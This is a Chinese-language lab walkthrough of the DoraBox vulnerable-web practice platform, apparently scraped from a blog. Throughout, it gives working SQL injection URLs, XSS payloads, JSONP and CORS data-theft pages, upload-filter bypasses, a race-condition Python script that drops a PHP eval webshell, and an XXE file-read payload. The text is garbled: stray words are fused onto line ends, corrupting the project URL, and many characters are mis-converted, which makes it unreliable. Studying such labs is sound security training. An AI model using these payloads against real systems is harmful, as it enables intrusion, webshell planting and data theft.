DoraBox 漏洞練習平臺

 

 項目地址:javascript

https://github.com/gh0stkey/DoraBoxphp

 

SQL注入

 

SQLi 數字型

判斷表中有多少列html

http://127.0.0.1/DoraBox/sql_injection/sql_num.php?id=1%20order%20by%201&submit=submit前端

依次增大order by 後面的值,直到報錯,報錯的前一個數爲字段數java

 

能夠肯定union注入的字段爲3,此時咱們構造注入語句nginx

http://127.0.0.1/DoraBox/sql_injection/sql_num.php?id=-1%20union%20select%201,2,3&submit=submitgit

 

能夠看到2,3列是顯示出來的,因此在這兩處插入注入語句github

http://127.0.0.1/DoraBox/sql_injection/sql_num.php?id=-1%20union%20select%201,concat(user(),%27|%27,database()),3&submit=submitweb

 

肯定數據庫爲pentest之後,去暴出表名正則表達式

http://127.0.0.1/DoraBox/sql_injection/sql_num.php?id=-1%20UNION%20SELECT%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()&submit=submit

 

肯定表名之後,去暴出列名

http://127.0.0.1/DoraBox/sql_injection/sql_num.php?id=-1%20UNION%20SELECT%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27account%27&submit=submit

 

根據以前的列名和表名,可構造查詢字段內容

http://127.0.0.1/DoraBox/sql_injection/sql_num.php?id=-1%20UNION SELECT 1,2,concat_ws('|',id,rest,own) from account&submit=submit

 

 

SQLi 字符型  

 

字符型與數字型的區別在於變量是否用單引號包裹,當不閉合單引號時,沒有查詢結果。

http://127.0.0.1/DoraBox/sql_injection/sql_string.php?title=DoraBox%20and%201=1&submit=submit

 

閉合單引號,成功執行插入的語句

http://127.0.0.1/DoraBox/sql_injection/sql_string.php?title=DoraBox' and '1'='1&submit=submit

 

接下來的操做,與數字型相同,只須要記得須要閉合單引號

http://127.0.0.1/DoraBox/sql_injection/sql_string.php?title=DoraBox' and '1'='2' union select 1,2,3'&submit=submit

 

剩下的與數字型相同

 

 

SQLi 搜索型  

 

 搜索型同時包含單引號和百分號,都須要閉合

http://127.0.0.1/DoraBox/sql_injection/sql_search.php?content=DoraBox%27%20and%20%271%27=%271&submit=submit

 

 

 這裏引入了註釋符,避免受到後面%‘影響

http://127.0.0.1/DoraBox/sql_injection/sql_search.php?content=DoraBox%' and 1=1--+&submit=submit

 

 

 構造顯示顯性字段

http://127.0.0.1/DoraBox/sql_injection/sql_search.php?content=DoraBox%' and 1=2 union select 1,2,3--+&submit=submit

 

 

接下來,如同前兩種同樣,暴出數據信息。

http://127.0.0.1/DoraBox/sql_injection/sql_search.php?content=DoraBox%' and 1=2 union select 1,concat_ws('|',id,title,content),3 from news--+&submit=submit

 

 

XSS跨站

 

XSS 反射型

xss反射型,輸入的代碼通過服務器端處理後返回頁面,形成代碼執行。

http://127.0.0.1/DoraBox/xss/reflect_xss.php?name=%3Cscript%3Ealert(/reflect_xss/)%3C/script%3E&submit=submit

 

這時候咱們注意到頁面先是返回了string(37) 「 而後執行了注入代碼。

那麼爲何會返回這個呢,咱們看下源碼

DoraBox\xxs\reflect_xss.php

 

下面說一下個人理解,$p 建立了一個對象Func,方法是GET,參數是name,$p -> con_html生成表單,也就是咱們一開始看到的頁面。

關鍵的是echo $p -> con_function('var_dump',$name);,這裏con_function是做者造的回調函數,做用是執行做者傳參進去的內容,當相應的函數執行。

那麼con_function('var_dump',$name) 的做用等價於var_dump($name),var_dump在處理字符串的時候會以以下形式string(字符串長度) "字符串內容"。

DoraBox\class\function.class.php

 

 

 

XSS 存儲型

 

存儲型xss做者設計的頗有意思,採用直接向當前頁面追加內容的方式實現的,也就是說,若是你測試不少次的話,這個頁面會愈來愈大。

因此在name輸入框提交<script>alert(/reflect_xss/)</script>,再次刷新頁面便可觸發注入代碼。

 

根據上面得分析,能理解這段代碼執行了file_put_contents(__FILE__,$name,FILE_APPEND)採用追加的方式寫入當前頁面。

 

 

 

XSS DOM型

http://127.0.0.1/DoraBox/xss/dom_xss.php?name=%3Cscript%3Ealert(%2FDOM_xss%2F)%3C%2Fscript%3E&submit=submit

 

 

進行這個xss學習的時候,能夠發送,xss代碼執行後沒有在源碼顯示出來,這可能就是DOM型xss的特色

var reg = new RegExp("(^|&)"+ name +"=([^&]*)(&|$)");

(^| )表明開始

( |$)表明結束

以&或者$結尾的字符串

這個正則是尋找&+url參數名字=值+&

&能夠不存在。

 

window.location.search.substr(1).match(reg);

(1) location是包含了相關的url的信息,它是windown的一部分。

(2) search是一個能夠查詢的屬性,能夠查詢?以後的部分。

(3) substr(1)是爲了去掉第一個?

(4) match()是你要匹配的部分 後面能夠是正則表達式。

(5) return unescpe(r[2]) 返回的值 一個數組。

(6) 這裏是開始匹配,找到了返回對應url值,沒找到返回null。

 

後面的document.write 實際上就是DOM的寫方法,把輸入的內容寫出來

 

 

 

CSRF

 

JSONP劫持

JSONP 全稱是 JSON with Padding ,是基於 JSON 格式的爲解決跨域請求資源而產生的解決方案。他實現的基本原理是利用了 HTML 裏 <script></script> 元素標籤,遠程調用 JSON 文件來實現數據傳遞。

當某網站聽過 JSONP 的方式來跨域(通常爲子域)傳遞用戶認證後的敏感信息時,攻擊者能夠構造惡意的 JSONP 調用頁面,誘導被攻擊者訪問來達到截取用戶敏感信息的目的。

直接訪問連接,頁面返回json格式的數據。

http://127.0.0.1/DoraBox/csrf/jsonp.php?callback=test

 

那麼劫持後應該是能夠在其餘域下得到受害者的json信息,下面構造一個劫持頁面,將劫持的信息,alert出來

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持測試</title>
</head>
<body>
<script type="text/javascript">
function test(result)
        {
            alert(result.address);
        }
</script>
<script type="text/javascript" src="http://127.0.0.1/DoraBox/csrf/jsonp.php?callback=test"></script>
</body>
</html>

 

成功得到了json中的address內容

 

這個是做者提供的POC,在POC目錄裏面,能夠獲取所有內容

<!--jsonp.html-->
<
script>function vulkey(data){alert(JSON.stringify(data));}</script> <script src="http://127.0.0.1/DoraBox/csrf/jsonp.php?callback=vulkey"></script>

 

 

 

 

CORS跨域資源讀取

 

跨源資源共享 (CORS) 定義了在一個域中加載的客戶端 Web 應用程序與另外一個域中的資源交互的方式,須要瀏覽器和服務器共同支持才能實現。

能夠看到其源碼就是Access-Control-Allow-*系列,這個就是CORS的配置

 

下面就能夠構造頁面獲取信息

<!DOCTYPE html>
<html>
<body>
div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>

<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = alert(this.responseText);
    }
  };
  xhttp.open("GET", "http://127.0.0.1/DoraBox/csrf/userinfo.php", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>
</body>
</html>

 

 

成功獲取到了數據

 

 

文件包含

 

 

任意文件包含

 

若是有看源碼的習慣的話,應該能注意到做者已經準備好了一個txt.txt

 

 

代碼中使用include 直接包含的,因此能夠以前讀取

http://127.0.0.1/DoraBox/file_include/any_include.php?file=txt.txt&submit=submit

 

 

 

能夠成功包含執行了txt.txt的php代碼

 

 

目錄限制文件包含

 

實際上這個與上一個的區別不大,區別就在加了一個./,感受沒什麼影響

 

 

這裏我包含了phpstudy目錄裏面的phpinfo.php

http://127.0.0.1/DoraBox/file_include/include_1.php?file=../../phpinfo.php&submit=submit

 

 

 

 

文件上傳

 

任意文件上傳

 

第一個沒什麼可說的,任意文件上傳,隨便傳就行

 

 

JS限制文件上傳

 

前端限制後綴名,上傳jpg文件,攔包改後綴繞過

 

 

 

這裏能夠看到成功上傳

 

 

 

MIME限制文件上傳

上傳php文件,顯示類型不正確,實際上MIME驗證就是檢測Content-type字段值的,直接更改上傳數據包中的Content-type便可繞過

 

修改Content-type值爲圖片的格式(image/jpeg),成功繞過

 

 

 

 

擴展名限制文件上傳   

 

 

採用後端驗證後綴名的方式,這個方式有不少,可是會有環境限制,實際環境中須要進行測試使用

 

服務端擴展名驗證繞過方法:

 

一、找黑名單擴展名的漏網之魚 - 好比上面就漏掉了 asa 和 cer 之類

 

二、可能存在大小寫繞過漏洞 - 好比 aSp 和 pHp 之類

 

三、特別文件名構造 - 好比發送的 http 包裏把文件名改爲 help.asp. 或 help.asp_(下劃線爲空格),這種命名方式在 windows 系統裏是不被容許的,因此須要在 burp 之類裏進行修改, 而後繞過驗證後,會被 windows 系統自動去掉後面的點和空格。

 

四、IIS 或 nginx 文件名解析漏洞

好比 help.asp;.jpg 或 http://www.xx.com/help.jpg/2.php

這裏注意網上所謂的 nginx 文件名解析漏洞其實是 php-fpm 文件名解析漏洞,詳見 http://www.cnbeta.com/articles/111752.htm

 

五、0x00 截斷繞過 - 這個是基於一個組合邏輯漏洞形成的

 

六、雙擴展名解析繞過攻擊(1) - 基於 web 服務的解析邏輯

 

好比上傳x.php.rar等文件

 

七、雙擴展名解析繞過攻擊(2) - 基於 web 服務的解析方式

 

若是在 Apache 的 conf 裏有這樣一行配置

AddHandler php5-script .php

這時只要文件名裏包含.php

即便文件名是 test2.php.jpg 也會以 php 來執行

 

 

針對本文的代碼,最簡單的就是使用更改大小寫上傳便可,或者使用上面的多種方法測試。

本例中,我用的.asp.的方式,成功繞過上傳的

 

 

 

 

 

 

內容限制文件上傳

 

一樣

 

文件上傳過程當中圖像大小及相關信息檢測,一般咱們會使用getimagesize()函數,此函數會返回一個數組。

Array

(

    [0] => 2573

    [1] => 16188

    [2] => 1

    [3] => width="2573" height="16188"

    [channels] => 3

    [mime] => image/gif

)

使用getimagesize()函數檢測,會判斷文件是不是一個有效的圖片文件,若是不是則會報錯,咱們可使用文件頭欺騙來繞過。

 

利用copy命令合成一個圖片馬,上傳

也能夠直接添加圖片文件頭的方式繞過

 

 

 

 

代碼/命令執行

 

任意代碼執行

 

利用assert任意代碼執行……,分明就是一個webshell呀

http://127.0.0.1/DoraBox/code_exec/code.php?code=phpinfo();&submit=submit

 

 

好了,下面我要表演本身黑本身了…

 

成功鏈接上了code.php

 

 

任意命令執行

 

利用exec命令執行

http://127.0.0.1/DoraBox/code_exec/exec.php?command=whoami&submit=submit

有回顯,沒什麼可說的。

 

 

SSRF

 

SSRF

 

http://127.0.0.1/DoraBox/ssrf/ssrf.php?url=http://www.baidu.com/img/bd_logo1.png&submit=submit

 

 

這裏執行一個對端口的請求,顯示計算機拒絕,能夠用了判斷端口開放

http://127.0.0.1/DoraBox/ssrf/ssrf.php?url=http://127.0.0.1:6789&submit=submit

 

 

其餘

 

條件競爭-支付

 

這個不太理解做者的目的,我認爲做者條件競爭的地方可能在於錢數加減這裏,可是做者這個邏輯是但願只減錢不加錢仍是什麼狀況不大理解。

一、 查看程序邏輯,查詢打印出account中,rest和own字段

二、 判斷提交的錢數是否小於擁有的錢數,小於則執行查詢完成支付交易

三、 大於則彈出支付失敗

 

再來看做者的POC,做者起了25個線程,一共提交50次1塊錢

 

運行程序後,交易正常執行,不知漏洞處在哪裏了

 

 

 

條件競爭-上傳

 

上傳這塊的條件競爭比較明顯,程序邏輯處理是先將文件上傳上來,而後檢查後綴,後綴不在容許列表裏,刪除文件

 

而競爭的地方,是先刪除仍是先執行,關鍵就在於趕在刪除以前執行上傳的文件

這是咱們上傳的內容,打開info.php 寫入一句話木馬

<?php fputs(fopen("info.php", "w"), '<?php @eval($_POST["key"]);?>'); ?>

經過併發能夠實如今上傳成功未執行到刪除代碼的時候,訪問執行,生成info.php

 下面是利用做者得POC

import requests
import threading
import os

class RaceCondition(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)

        self.url = 'http://127.0.0.1/DoraBox/race_condition/uploads/key.php' #上傳的文件地址
        self.uploadUrl = 'http://127.0.0.1/DoraBox/race_condition/upload.php' #上傳文件的地址

    def _get(self):
        print('try to call uploaded file...')
        r = requests.get(self.url)
        if r.status_code == 200:
            print('[*] create file info.php success.')
            os._exit(0)

    def _upload(self):
        print('upload file...')
        file = {'myfile': open('key.php', 'r')} #本地腳本木馬
        requests.post(self.uploadUrl, files=file)

    def run(self):
        while True:
            for i in range(10):
                self._upload()
                self._get()

if __name__ == '__main__':
    threads = 50    

    for i in range(threads):
        t = RaceCondition()
        t.start()

    for i in range(threads):
        t.join() 

 

 

任意文件讀取

 

與文件包含的不一樣在於這個不能執行,只能讀取內容

 

http://127.0.0.1/DoraBox/others/file_read.php?filename=..%2Frace_condition%2Fkey.php&submit=submit

 

 

 

 

XXE

 

xxe的原理老是整不明白,就知道是經過引入外部實體來進行腳本執行和文件讀取

 

問題出在對xml的解析上面,我利用以前積累的代碼測試幾回都不成功--!

 

後來我看到原做者的操做,成功復現了,可是原理方面還須要在理解理解

<!DOCTYPE a [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<user><username>&xxe;</username><password>admin</password></user>

 

相關文章
相關標籤/搜索